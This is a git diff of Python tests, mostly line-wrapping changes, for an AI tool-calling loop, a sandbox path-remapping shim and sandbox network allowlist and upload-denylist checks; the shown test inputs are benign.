m.get("tool_calls")][-1] + turn2 = [ + m for m in conv if m.get("role") == "assistant" and m.get("tool_calls") + ][-1] assert [tc["function"]["name"] for tc in turn2["tool_calls"]] == ["python"] after = conv[conv.index(turn2) + 1 :] assert after[0]["role"] == "tool" and after[0]["content"] == "py-result" @@ -2903,9 +3015,15 @@ class TestLoopBehaviour: captured_tool_names: list[list[str]] = [] turns = iter( [ - ['{"name":"web_search","arguments":{"query":"x"}}'], - ['{"name":"web_search","arguments":{"query":"x"}}'], - ['{"name":"python","arguments":{"code":"print(1)"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], + [ + '{"name":"python","arguments":{"code":"print(1)"}}' + ], ["final"], ] ) @@ -2950,7 +3068,8 @@ class TestLoopBehaviour: assert not [ e for e in events - if e.get("tool_call_id") == "call_1" and e.get("type") in {"tool_start", "tool_end"} + if e.get("tool_call_id") == "call_1" + and e.get("type") in {"tool_start", "tool_end"} ] duplicate_nudges = [ message @@ -2971,9 +3090,15 @@ class TestLoopBehaviour: captured_tool_names: list[list[str]] = [] turns = iter( [ - ['{"name":"web_search","arguments":{"query":"x"}}'], - ['{"name":"web_search","arguments":{"query":"x"}}'], - ['{"name":"python","arguments":{"code":"print(1)"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], + [ + '{"name":"python","arguments":{"code":"print(1)"}}' + ], ["final"], ] ) @@ -3018,9 +3143,15 @@ class TestLoopBehaviour: captured_tool_names: list[list[str]] = [] turns = iter( [ - ['{"name":"web_search","arguments":{"query":"x"}}'], - ['{"name":"web_search","arguments":{"query":"x"}}'], - ['{"name":"web_search","arguments":{"query":"x"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], ["final from first result"], ] ) @@ -3052,11 +3183,14 @@ class TestLoopBehaviour: assert exec_fn.calls == [("web_search", {"query": "x"})] assert [ - event.get("tool_call_id") for event in events if event.get("type") == "tool_end" + event.get("tool_call_id") + for event in events + if event.get("type") == "tool_end" ] == ["call_0"] assert captured_tool_names[-1] == [] assert any( - event.get("type") == "content" and "final from first result" in event.get("text", "") + event.get("type") == "content" + and "final from first result" in event.get("text", "") for event in events ) @@ -3103,7 +3237,9 @@ class TestLoopBehaviour: # carries the raw result for the UI. loop, exec_fn = _make_loop( turns = [ - ['{"name":"python","arguments":{"code":"plot()"}}'], + [ + '{"name":"python","arguments":{"code":"plot()"}}' + ], ["see chart"], ], exec_results = ["chart\n__IMAGES__:/tmp/chart.png"], @@ -3141,7 +3277,9 @@ class TestLoopBehaviour: tool_msgs = [m for m in captured[1] if m.get("role") == "tool"] assert tool_msgs, "no tool message reached the model" for tm in tool_msgs: - assert "__IMAGES__" not in tm["content"], f"sentinel leaked to model: {tm['content']!r}" + assert ( + "__IMAGES__" not in tm["content"] + ), f"sentinel leaked to model: {tm['content']!r}" def test_image_sentinel_stripped_with_multiple_markers(self): # Consecutive sentinels: cut at the first, nothing leaks. @@ -3171,13 +3309,19 @@ class TestLoopBehaviour: tool_msgs = [m for m in captured[1] if m.get("role") == "tool"] assert tool_msgs for tm in tool_msgs: - assert "__IMAGES__" not in tm["content"], f"second sentinel leaked: {tm['content']!r}" - assert tm["content"] == "panel", f"expected payload-only 'panel', got {tm['content']!r}" + assert ( + "__IMAGES__" not in tm["content"] + ), f"second sentinel leaked: {tm['content']!r}" + assert ( + tm["content"] == "panel" + ), f"expected payload-only 'panel', got {tm['content']!r}" def test_tool_execution_error_is_emitted_but_loop_continues(self): loop, exec_fn = _make_loop( turns = [ - ['{"name":"web_search","arguments":{"query":"x"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], ["sorry, that failed"], ], exec_results = ["Error: network unreachable"], @@ -3192,7 +3336,9 @@ class TestLoopBehaviour: def test_exception_in_executor_does_not_raise(self): loop, exec_fn = _make_loop( turns = [ - ['{"name":"web_search","arguments":{"query":"x"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], ["recovered"], ], exec_results = [RuntimeError("boom")], @@ -3318,7 +3464,9 @@ class TestLoopRePrompt: loop, exec_fn = _make_loop( turns = [ ["Let me search for that."], - ['{"name":"web_search","arguments":{"query":"cats"}}'], + [ + '{"name":"web_search","arguments":{"query":"cats"}}' + ], ["Here is the answer."], ], exec_results = ["result"], @@ -3335,7 +3483,9 @@ class TestLoopRePrompt: loop, exec_fn = _make_loop( turns = [ ["I need more context.Let me search for that."], - ['{"name":"web_search","arguments":{"query":"cats"}}'], + [ + '{"name":"web_search","arguments":{"query":"cats"}}' + ], ["Here is the answer."], ], exec_results = ["result"], @@ -3353,7 +3503,9 @@ class TestLoopRePrompt: loop, exec_fn = _make_loop( turns = [ ["Let me search for that.checking details"], - ['{"name":"web_search","arguments":{"query":"cats"}}'], + [ + '{"name":"web_search","arguments":{"query":"cats"}}' + ], ["Here is the answer."], ], exec_results = ["result"], @@ -3391,7 +3543,10 @@ class TestLoopRePrompt: ) assert exec_fn.calls == [("web_search", {"query": "cats"})] - assert captured[1][1] == {"role": "assistant", "content": "Let me search for that."} + assert captured[1][1] == { + "role": "assistant", + "content": "Let me search for that.", + } contents = [e["text"] for e in events if e["type"] == "content"] assert contents[-1] == "Here is the answer." @@ -3475,7 +3630,9 @@ class TestLoopRePrompt: loop, exec_fn = _make_loop( turns = [ ["Let me check."], - ['{"name":"web_search","arguments":{"query":"x"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], ["found"], ], exec_results = ["..."], @@ -3493,7 +3650,9 @@ class TestLoopRePrompt: # 1. Intent stall (re-prompt). ["Let me search for that."], # 2. Real tool call (uses the budget slot). - ['{"name":"web_search","arguments":{"query":"weather"}}'], + [ + '{"name":"web_search","arguments":{"query":"weather"}}' + ], # 3. Budget exhausted -> nudged final answer. ["Final: it is sunny"], ], @@ -3591,15 +3750,15 @@ class TestGGUFSafetensorsHealingParity: assert _CANONICAL_HEAL_ARG["python"] == "code" assert _CANONICAL_HEAL_ARG["terminal"] == "command" - assert coerce_tool_arguments("print(1)", heal = True, tool_name = "python").arguments == { - "code": "print(1)" - } - assert coerce_tool_arguments("ls -la", heal = True, tool_name = "terminal").arguments == { - "command": "ls -la" - } - assert coerce_tool_arguments("weather", heal = True, tool_name = "web_search").arguments == { - "query": "weather" - } + assert coerce_tool_arguments( + "print(1)", heal = True, tool_name = "python" + ).arguments == {"code": "print(1)"} + assert coerce_tool_arguments( + "ls -la", heal = True, tool_name = "terminal" + ).arguments == {"command": "ls -la"} + assert coerce_tool_arguments( + "weather", heal = True, tool_name = "web_search" + ).arguments == {"query": "weather"} def test_intent_regex_matches_same_phrases_as_gguf(self): # The intent re-prompt regex is now a single shared source of truth @@ -3681,7 +3840,9 @@ class TestLoopControl: loop, exec_fn = _make_loop( turns = [ # Tool call (executes once). - ['{"name":"web_search","arguments":{"query":"a"}}'], + [ + '{"name":"web_search","arguments":{"query":"a"}}' + ], # Model gives a final answer when nudged. ["here is the final answer"], ], @@ -3698,19 +3859,24 @@ class TestStatusFormatting: def test_status_for_known_tools(self): # Call the private helper directly to verify status formatting. assert ( - safetensors_agentic._status_for_tool("web_search", {"query": "abc"}) == "Searching: abc" + safetensors_agentic._status_for_tool("web_search", {"query": "abc"}) + == "Searching: abc" ) assert ( - safetensors_agentic._status_for_tool("web_search", {"url": "https://www.example.com/x"}) + safetensors_agentic._status_for_tool( + "web_search", {"url": "https://www.example.com/x"} + ) == "Reading: example.com" ) - assert safetensors_agentic._status_for_tool("python", {"code": "x = 1"}).startswith( - "Running Python:" + assert safetensors_agentic._status_for_tool( + "python", {"code": "x = 1"} + ).startswith("Running Python:") + assert safetensors_agentic._status_for_tool( + "terminal", {"command": "ls"} + ).startswith("Running:") + assert safetensors_agentic._status_for_tool("unknown_tool", {}).startswith( + "Calling:" ) - assert safetensors_agentic._status_for_tool("terminal", {"command": "ls"}).startswith( - "Running:" - ) - assert safetensors_agentic._status_for_tool("unknown_tool", {}).startswith("Calling:") class TestProseMentioningToolCall: @@ -3720,7 +3886,9 @@ class TestProseMentioningToolCall: loop, exec_fn = _make_loop( turns = [ # A real tool call so the loop advances a turn. - ['{"name":"web_search","arguments":{"query":"x"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], # Prose that mentions the literal text. ["the docs say means an LLM tool call wrapper"], ], @@ -3739,7 +3907,9 @@ class TestProseMentioningToolCall: # loop parses only model output, so exactly one call. loop, exec_fn = _make_loop( turns = [ - ['{"name":"web_search","arguments":{"query":"x"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], ["the docs mention wrappers"], ], exec_results = ["Page text: appears here in the docs"], @@ -3840,18 +4010,23 @@ class TestGuardrails: ) assert exec_fn.calls == [] - assert not [event for event in events if event.get("type") in {"tool_start", "tool_end"}] + assert not [ + event for event in events if event.get("type") in {"tool_start", "tool_end"} + ] disabled_nudges = [ message for message in captured_messages[-1] - if message.get("role") == "user" and "not enabled" in message.get("content", "") + if message.get("role") == "user" + and "not enabled" in message.get("content", "") ] assert len(disabled_nudges) == 1 def test_empty_tools_list_means_allow_all_in_core_loop(self): turns = iter( [ - ['{"name":"python","arguments":{"code":"print(1)"}}'], + [ + '{"name":"python","arguments":{"code":"print(1)"}}' + ], ["done"], ] ) @@ -3878,7 +4053,11 @@ class TestGuardrails: def test_max_iterations_zero_executes_no_tools(self): loop, exec_fn = _make_loop( - turns = [['{"name":"web_search","arguments":{"query":"x"}}']], + turns = [ + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ] + ], exec_results = ["OK"], max_tool_iterations = 0, ) @@ -3909,7 +4088,9 @@ class TestGuardrails: def test_auto_heal_disabled_still_parses_valid_tool_call(self): loop, exec_fn = _make_loop( turns = [ - ['{"name":"web_search","arguments":{"query":"x"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], ["done"], ], exec_results = ["OK"], @@ -3924,7 +4105,11 @@ class TestGuardrails: monkeypatch.setattr(safetensors_agentic, "new_approval_id", lambda: approval_id) loop, exec_fn = _make_loop( - turns = [['{"name":"python","arguments":{"code":"print(1)"}}']], + turns = [ + [ + '{"name":"python","arguments":{"code":"print(1)"}}' + ] + ], exec_results = ["OK"], confirm_tool_calls = True, session_id = "sess", @@ -3953,14 +4138,19 @@ class TestGuardrails: def fail_autoinject(*_args, **_kwargs): raise AssertionError("RAG autoinject must not run before approval") - monkeypatch.setattr("core.inference.tools.build_rag_autoinject", fail_autoinject) + monkeypatch.setattr( + "core.inference.tools.build_rag_autoinject", fail_autoinject + ) loop, exec_fn = _make_loop( turns = [["plain answer"]], confirm_tool_calls = True, rag_scope = {"thread_id": "t1"}, ) events = _collect_events(loop) - assert any(e.get("type") == "content" and e.get("text") == "plain answer" for e in events) + assert any( + e.get("type") == "content" and e.get("text") == "plain answer" + for e in events + ) assert exec_fn.calls == [] def test_auto_mode_still_runs_rag_autoinject(self, monkeypatch): @@ -3973,7 +4163,9 @@ class TestGuardrails: ran["called"] = True return None - monkeypatch.setattr("core.inference.tools.build_rag_autoinject", fake_autoinject) + monkeypatch.setattr( + "core.inference.tools.build_rag_autoinject", fake_autoinject + ) loop, _exec_fn = _make_loop( turns = [["plain answer"]], confirm_tool_calls = True, @@ -3986,8 +4178,12 @@ class TestGuardrails: def test_auto_heal_disabled_preserves_xml_on_final_no_tools_pass(self): turns = iter( [ - ['{"name":"web_search","arguments":{"query":"x"}}'], - ['{"name":"web_search","arguments":{"query":"literal"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], + [ + '{"name":"web_search","arguments":{"query":"literal"}}' + ], ] ) @@ -4047,18 +4243,29 @@ class TestGuardrails: def test_non_consecutive_duplicate_is_short_circuited(self): loop, exec_fn = _make_loop( turns = [ - ['{"name":"web_search","arguments":{"query":"A"}}'], - ['{"name":"web_search","arguments":{"query":"B"}}'], - ['{"name":"web_search","arguments":{"query":"A"}}'], + [ + '{"name":"web_search","arguments":{"query":"A"}}' + ], + [ + '{"name":"web_search","arguments":{"query":"B"}}' + ], + [ + '{"name":"web_search","arguments":{"query":"A"}}' + ], ["final"], ], exec_results = ["res-A", "res-B"], max_tool_iterations = 4, ) events = _collect_events(loop) - assert exec_fn.calls == [("web_search", {"query": "A"}), ("web_search", {"query": "B"})] + assert exec_fn.calls == [ + ("web_search", {"query": "A"}), + ("web_search", {"query": "B"}), + ] assert [ - event.get("tool_call_id") for event in events if event.get("type") == "tool_end" + event.get("tool_call_id") + for event in events + if event.get("type") == "tool_end" ] == ["call_0", "call_1"] assert not [ event @@ -4082,7 +4289,9 @@ class TestGuardrails: events = _collect_events(loop) assert exec_fn.calls == [("web_search", {"query": "A"})] assert [ - event.get("tool_call_id") for event in events if event.get("type") == "tool_end" + event.get("tool_call_id") + for event in events + if event.get("type") == "tool_end" ] == ["call_0"] assert not [ event @@ -4098,7 +4307,8 @@ class TestGuardrails: n = _MAX_TOOL_CALLS_PER_TURN + 4 turn = "".join( - '{"name":"web_search","arguments":{"query":"q%d"}}' % i + '{"name":"web_search","arguments":{"query":"q%d"}}' + % i for i in range(n) ) loop, exec_fn = _make_loop( @@ -4114,16 +4324,24 @@ class TestGuardrails: ] def test_coerce_string_args_python_uses_code_key(self): - assert _coerce_arguments("print(1)", heal = True, tool_name = "python") == {"code": "print(1)"} + assert _coerce_arguments("print(1)", heal = True, tool_name = "python") == { + "code": "print(1)" + } def test_coerce_string_args_terminal_uses_command_key(self): - assert _coerce_arguments("ls -la", heal = True, tool_name = "terminal") == {"command": "ls -la"} + assert _coerce_arguments("ls -la", heal = True, tool_name = "terminal") == { + "command": "ls -la" + } def test_tool_call_ids_unique_across_loop_iterations(self): loop, _exec = _make_loop( turns = [ - ['{"name":"web_search","arguments":{"query":"A"}}'], - ['{"name":"web_search","arguments":{"query":"B"}}'], + [ + '{"name":"web_search","arguments":{"query":"A"}}' + ], + [ + '{"name":"web_search","arguments":{"query":"B"}}' + ], ["done"], ], exec_results = ["A", "B"], @@ -4161,7 +4379,9 @@ class TestPlanWithoutActionReprompt: loop, exec_fn = _make_loop( turns = [ ["I'll search the web for that."], - ['{"name":"web_search","arguments":{"query":"cats"}}'], + [ + '{"name":"web_search","arguments":{"query":"cats"}}' + ], ["Here is the final answer."], ], exec_results = ["result-1"], @@ -4304,11 +4524,17 @@ class TestPlanWithoutActionReprompt: # An explicit user denial must not be answered with a nudge to call # the tool again (which would raise another confirmation prompt). monkeypatch.setattr(safetensors_agentic, "new_approval_id", lambda: "appr-1") - monkeypatch.setattr(safetensors_agentic, "begin_tool_decision", lambda *_a, **_k: object()) - monkeypatch.setattr(safetensors_agentic, "wait_tool_decision", lambda *_a, **_k: "deny") + monkeypatch.setattr( + safetensors_agentic, "begin_tool_decision", lambda *_a, **_k: object() + ) + monkeypatch.setattr( + safetensors_agentic, "wait_tool_decision", lambda *_a, **_k: "deny" + ) loop, exec_fn = _make_loop( turns = [ - ['{"name":"web_search","arguments":{"query":"cats"}}'], + [ + '{"name":"web_search","arguments":{"query":"cats"}}' + ], ["I'll search again."], ["SHOULD NOT APPEAR"], ], @@ -4325,7 +4551,9 @@ class TestPlanWithoutActionReprompt: def test_no_reprompt_after_a_tool_already_executed(self): loop, exec_fn = _make_loop( turns = [ - ['{"name":"web_search","arguments":{"query":"cats"}}'], + [ + '{"name":"web_search","arguments":{"query":"cats"}}' + ], ["Now I'll refine the search."], ["SHOULD NOT APPEAR"], ], @@ -4376,7 +4604,10 @@ class TestRoutesPythonTagStrip: def test_python_tag_stops_at_eom_sentinel(self): # Strip stops at the next Llama-3 ``<|`` sentinel so any # trailing assistant content survives. - text = '<|python_tag|>python.call(code="multi\nline")' "<|eom_id|>final answer text" + text = ( + '<|python_tag|>python.call(code="multi\nline")' + "<|eom_id|>final answer text" + ) assert self._strip(text) == "<|eom_id|>final answer text" def test_python_tag_stops_at_eot_sentinel(self): @@ -4410,7 +4641,11 @@ class TestParserRobustness: # too. Was extracting name only and silently dropping the args. import json - text = "\n" '{"name": "search", "parameters": {"q": "ramen"}}\n' "" + text = ( + "\n" + '{"name": "search", "parameters": {"q": "ramen"}}\n' + "" + ) result = parse_tool_calls_from_text(text) assert len(result) == 1 assert result[0]["function"]["name"] == "search" @@ -4421,7 +4656,11 @@ class TestParserRobustness: # ``v``. import json - text = '' 'Tokyo' "" + text = ( + '' + 'Tokyo' + "" + ) result = parse_tool_calls_from_text(text) assert len(result) == 1 assert result[0]["function"]["name"] == "get_weather" @@ -4553,7 +4792,9 @@ def test_render_with_native_template_returns_render_only_when_tools_emitted(): def emitting(tokenizer, msgs, *, tools, **_kw): body = "".join(m["content"] for m in msgs) - return body + ("|TOOLS=" + ",".join(t["function"]["name"] for t in tools) if tools else "") + return body + ( + "|TOOLS=" + ",".join(t["function"]["name"] for t in tools) if tools else "" + ) def ignoring(tokenizer, msgs, *, tools, **_kw): return "".join(m["content"] for m in msgs) # never reflects tools @@ -4639,7 +4880,9 @@ def test_native_template_loads_from_base_model_for_lora(monkeypatch): captured["source"] = name return SimpleNamespace(chat_template = "BASE_TPL") - monkeypatch.setattr(transformers.AutoTokenizer, "from_pretrained", fake_from_pretrained) + monkeypatch.setattr( + transformers.AutoTokenizer, "from_pretrained", fake_from_pretrained + ) def emitting(tokenizer, msgs, *, tools, **_kw): body = "".join(m["content"] for m in msgs) @@ -4665,7 +4908,9 @@ def test_render_with_native_template_fallback_swaps_when_override_drops_tools(): # identical with and without tools, re-render with the native template and return it. from types import SimpleNamespace - from core.inference.chat_template_helpers import render_with_native_template_fallback + from core.inference.chat_template_helpers import ( + render_with_native_template_fallback, + ) messages = [{"role": "user", "content": "hi"}] tools = [{"type": "function", "function": {"name": "web_search"}}] @@ -4705,7 +4950,9 @@ def test_render_with_native_template_fallback_keeps_prompt_when_tools_emitted(): # unchanged. Also a no-tools call is a passthrough. from types import SimpleNamespace - from core.inference.chat_template_helpers import render_with_native_template_fallback + from core.inference.chat_template_helpers import ( + render_with_native_template_fallback, + ) messages = [{"role": "user", "content": "hi"}] tools = [{"type": "function", "function": {"name": "web_search"}}] @@ -4742,7 +4989,9 @@ def test_render_with_native_template_fallback_keeps_prompt_when_no_tools_probe_r # A template that REQUIRES tools can raise on the no-tools probe. from types import SimpleNamespace - from core.inference.chat_template_helpers import render_with_native_template_fallback + from core.inference.chat_template_helpers import ( + render_with_native_template_fallback, + ) messages = [{"role": "user", "content": "hi"}] tools = [{"type": "function", "function": {"name": "web_search"}}] @@ -4785,7 +5034,9 @@ def test_oversized_bare_json_call_is_not_leaked_and_executes(): big = "A" * (_MAX_BARE_JSON_BUFFER + 5000) full = '{"name":"python","parameters":{"code":"' + big + '"}}' chunks = [full[i : i + 2000] for i in range(0, len(full), 2000)] - loop, exec_fn = _make_loop(turns = [chunks, ["done"]], exec_results = ["OK"], max_tool_iterations = 2) + loop, exec_fn = _make_loop( + turns = [chunks, ["done"]], exec_results = ["OK"], max_tool_iterations = 2 + ) events = _collect_events(loop) contents = [e["text"] for e in events if e["type"] == "content"] assert not any(t.lstrip().startswith('{"name') for t in contents), contents[:1] @@ -4964,12 +5215,17 @@ class TestEnabledToolNameGate: def test_parse_inactive_rehearsal_alone_is_prose(self): assert ( - parse_tool_calls_from_text('foo[ARGS]{"a":1}', enabled_tool_names = {"web_search"}) == [] + parse_tool_calls_from_text( + 'foo[ARGS]{"a":1}', enabled_tool_names = {"web_search"} + ) + == [] ) def test_streaming_strip_keeps_inactive_rehearsal(self): raw = 'answer foo[ARGS]{"x":1} tail' - assert strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"}) == raw + assert ( + strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"}) == raw + ) def test_streaming_strip_removes_active_rehearsal(self): raw = 'answer web_search[ARGS]{"q":1} tail' @@ -4979,7 +5235,10 @@ class TestEnabledToolNameGate: def test_final_strip_keeps_inactive_rehearsal(self): text = 'foo[ARGS]{"x":1} is just syntax.' - assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text + assert ( + strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) + == text + ) def test_gate_none_preserves_legacy_strip_and_parse(self): text = 'foo[ARGS]{"x":1} tail' @@ -4993,13 +5252,17 @@ def test_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled(): # preserved), matching the XML strip in the same drain branch. With Auto-Heal ON # the same fragment is suppressed. trunc = '{"name":"web_search","parameters":{"query":"weather' - off, exec_off = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = False) + off, exec_off = _make_loop( + turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = False + ) events_off = _collect_events(off) assert exec_off.calls == [], exec_off.calls contents_off = "".join(e["text"] for e in events_off if e["type"] == "content") assert "web_search" in contents_off, contents_off - on, exec_on = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = True) + on, exec_on = _make_loop( + turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = True + ) events_on = _collect_events(on) assert exec_on.calls == [], exec_on.calls contents_on = "".join(e["text"] for e in events_on if e["type"] == "content") @@ -5017,7 +5280,9 @@ def test_looks_like_enabled_bare_json_accepts_function_alias(): '{"function":"web_search","parameters":{"q":"x"}}', enabled ) # A non-tool "function" value is an ordinary JSON answer -> not gated. - assert not _looks_like_enabled_bare_json('{"function":"Alice","parameters":{}}', enabled) + assert not _looks_like_enabled_bare_json( + '{"function":"Alice","parameters":{}}', enabled + ) class TestFalseAlarmMarkerProse: diff --git a/studio/backend/tests/test_safetensors_toolcall_wiring.py b/studio/backend/tests/test_safetensors_toolcall_wiring.py index 8909e0c0c5..034bbbed48 100644 --- a/studio/backend/tests/test_safetensors_toolcall_wiring.py +++ b/studio/backend/tests/test_safetensors_toolcall_wiring.py @@ -42,7 +42,9 @@ FAKE_TOOL = { }, } # Full parser matrix lives in test_safetensors_tool_loop.py. -TOOL_CALL_TEXT = '{"name": "get_weather", "arguments": {"city": "Paris"}}' +TOOL_CALL_TEXT = ( + '{"name": "get_weather", "arguments": {"city": "Paris"}}' +) FINAL_ANSWER = "The weather in Paris is sunny and 22C." TOOL_RESULT = "Paris: sunny, 22C" @@ -164,11 +166,15 @@ def test_backend_seam_injects_tools_and_drives_full_tool_loop(): assert contents and FINAL_ANSWER in contents[-1]["text"] last_tool_end_idx = max(i for i, e in enumerate(events) if e["type"] == "tool_end") last_content_idx = max(i for i, e in enumerate(events) if e["type"] == "content") - assert last_content_idx > last_tool_end_idx, "final answer must stream after the tool result" + assert ( + last_content_idx > last_tool_end_idx + ), "final answer must stream after the tool result" # 6b. Tool result fed back into the conversation before the final turn (6 alone misses this: # the fake generation ignores the conversation). - assert len(conversations_seen) >= 2, "loop did not re-enter generation after the tool call" + assert ( + len(conversations_seen) >= 2 + ), "loop did not re-enter generation after the tool call" final_turn_convo = conversations_seen[1] assert any( TOOL_RESULT in str(m.get("content", "")) for m in final_turn_convo diff --git a/studio/backend/tests/test_sandbox_sitecustomize.py b/studio/backend/tests/test_sandbox_sitecustomize.py index 3ac427f9f1..7136d16949 100644 --- a/studio/backend/tests/test_sandbox_sitecustomize.py +++ b/studio/backend/tests/test_sandbox_sitecustomize.py @@ -53,7 +53,9 @@ def _save_patch_targets(): def _restore_patch_targets(saved): """Undo _save_patch_targets so the test process stays clean.""" globals_tuple, accessor, accessor_open = saved - (builtins.open, io.open, os.open, os.makedirs, os.mkdir, pathlib.Path.mkdir) = globals_tuple + (builtins.open, io.open, os.open, os.makedirs, os.mkdir, pathlib.Path.mkdir) = ( + globals_tuple + ) if accessor is not None: accessor.open = accessor_open @@ -61,7 +63,9 @@ def _restore_patch_targets(saved): def _load_shim(): """Import the shim without leaving its open()/mkdir patches installed.""" saved = _save_patch_targets() - spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_under_test", _SHIM) + spec = importlib.util.spec_from_file_location( + "_sandbox_sitecustomize_under_test", _SHIM + ) mod = importlib.util.module_from_spec(spec) try: spec.loader.exec_module(mod) # runs _install(), patching the globals @@ -134,9 +138,13 @@ def test_write_fallback_remaps_hallucinated_absolute_path(monkeypatch, tmp_path) cwd = os.getcwd() hallucinated = "/home/ubuntu/Sandbox/flappy_bird.html" for mode in ("w", "a", "x", "w+"): - assert mod._remap_open(hallucinated, mode) == os.path.join(cwd, "flappy_bird.html") + assert mod._remap_open(hallucinated, mode) == os.path.join( + cwd, "flappy_bird.html" + ) # A nested missing tree collapses to just the basename in the CWD. - assert mod._remap_open("/no/such/tree/report.txt", "w") == os.path.join(cwd, "report.txt") + assert mod._remap_open("/no/such/tree/report.txt", "w") == os.path.join( + cwd, "report.txt" + ) def test_write_fallback_never_touches_read_modes(monkeypatch, tmp_path): @@ -219,7 +227,9 @@ def test_write_fallback_reserves_same_target_on_repeated_writes(monkeypatch, tmp assert mod._remap_open(other, "w") == other -def test_write_fallback_reserves_healed_target_across_separate_runs(monkeypatch, tmp_path): +def test_write_fallback_reserves_healed_target_across_separate_runs( + monkeypatch, tmp_path +): # Each tool call is a FRESH subprocess, so the in-process remap map is empty on # the next run while the healed file persists in the working directory. A second # run overwriting the SAME invented path (whose healed basename now exists) must @@ -263,7 +273,9 @@ def test_write_fallback_reserves_healed_target_across_separate_runs(monkeypatch, @pytest.mark.parametrize("mode", ["r+", "rb+"]) -def test_read_update_modes_never_redirected_even_with_missing_parent(monkeypatch, tmp_path, mode): +def test_read_update_modes_never_redirected_even_with_missing_parent( + monkeypatch, tmp_path, mode +): # r+ / rb+ REQUIRE the target to exist and never create; a "+" must not qualify # as creation, or a missing absolute path would be redirected onto a same-basename # workspace file and corrupt it. The parent is missing, so only the mode predicate @@ -318,7 +330,9 @@ def test_os_open_and_path_touch_remap_convention_path(monkeypatch, tmp_path): # Keep the shim's patches installed under a chdir into tmp_path so os.open is # patched, and confirm a convention path is healed into the CWD instead of raising. saved = _save_patch_targets() - spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_osopen", _SHIM) + spec = importlib.util.spec_from_file_location( + "_sandbox_sitecustomize_osopen", _SHIM + ) mod = importlib.util.module_from_spec(spec) monkeypatch.chdir(tmp_path) cwd = os.getcwd() @@ -341,7 +355,9 @@ def test_path_write_read_text_remap_convention_path(monkeypatch, tmp_path): # and confirm a convention path is healed into the CWD on every version. This is # the hermetic guard for the 3.10 accessor path a plain io.open patch misses. saved = _save_patch_targets() - spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_writetext", _SHIM) + spec = importlib.util.spec_from_file_location( + "_sandbox_sitecustomize_writetext", _SHIM + ) mod = importlib.util.module_from_spec(spec) monkeypatch.chdir(tmp_path) cwd = os.getcwd() @@ -375,7 +391,9 @@ def test_remap_open_still_applies_prefix_remaps(monkeypatch, tmp_path): mod = _load_shim() monkeypatch.chdir(tmp_path) cwd = os.getcwd() - assert mod._remap_open("/mnt/data/sub/out.txt", "w") == os.path.join(cwd, "sub", "out.txt") + assert mod._remap_open("/mnt/data/sub/out.txt", "w") == os.path.join( + cwd, "sub", "out.txt" + ) # A read whose mapped target does NOT exist keeps the original path: a missing # input stays truthful, not silently redirected into the CWD. assert mod._remap_open("/mnt/data/sub/out.txt", "r") == "/mnt/data/sub/out.txt" @@ -498,7 +516,9 @@ def test_read_of_missing_prefix_path_emits_no_notice(monkeypatch, tmp_path, caps assert mod._notified is False assert "does not exist" not in capsys.readouterr().err # A committed write then heals and fires the notice exactly once. - assert mod._remap_open("/mnt/data/out.txt", "w") == os.path.join(os.getcwd(), "out.txt") + assert mod._remap_open("/mnt/data/out.txt", "w") == os.path.join( + os.getcwd(), "out.txt" + ) assert mod._notified is True assert "/mnt/data does not exist in this sandbox" in capsys.readouterr().err diff --git a/studio/backend/tests/test_sandbox_tools.py b/studio/backend/tests/test_sandbox_tools.py index 2970b1a6bb..d19d5b0aa8 100644 --- a/studio/backend/tests/test_sandbox_tools.py +++ b/studio/backend/tests/test_sandbox_tools.py @@ -88,7 +88,9 @@ class TestTrustedHostAllowlist: _ok(f"import requests; requests.get({url!r})") def test_wikipedia_subdomain_passes(self): - _ok('import urllib.request; urllib.request.urlopen("https://m.en.wikipedia.org/wiki/Foo")') + _ok( + 'import urllib.request; urllib.request.urlopen("https://m.en.wikipedia.org/wiki/Foo")' + ) def test_hf_co_short_form_passes(self): _ok('import requests; requests.get("https://hf.co/unsloth/Qwen3.5-4B-GGUF")') @@ -219,7 +221,10 @@ class TestUploadDenylist: ) def test_plain_post_json_not_blocked(self): - _ok("import requests\n" 'requests.post("https://api.weather.gov/lookup", json={"k": "v"})') + _ok( + "import requests\n" + 'requests.post("https://api.weather.gov/lookup", json={"k": "v"})' + ) class TestSandboxEnvIsolation: @@ -327,7 +332,9 @@ class TestSandboxEnvIsolation: env = _build_bypass_env(str(tmp_path)) assert _SANDBOX_SITE_DIR in env["PYTHONPATH"].split(os.pathsep) - def test_bypass_env_prepends_shim_and_keeps_inherited_pythonpath(self, monkeypatch, tmp_path): + def test_bypass_env_prepends_shim_and_keeps_inherited_pythonpath( + self, monkeypatch, tmp_path + ): from core.inference.tools import _SANDBOX_SITE_DIR, _build_bypass_env monkeypatch.setenv("PYTHONPATH", "/operator/libs") diff --git a/studio/backend/tests/test_secure_tools_execute.py b/studio/backend/tests/test_secure_tools_execute.py index d8c76091e4..b3f63ed46e 100644 --- a/studio/backend/tests/test_secure_tools_execute.py +++ b/studio/backend/tests/test_secure_tools_execute.py @@ -50,7 +50,10 @@ def _tool_call_stream(tool_name: str, arguments: dict, call_id: str) -> list[str "index": 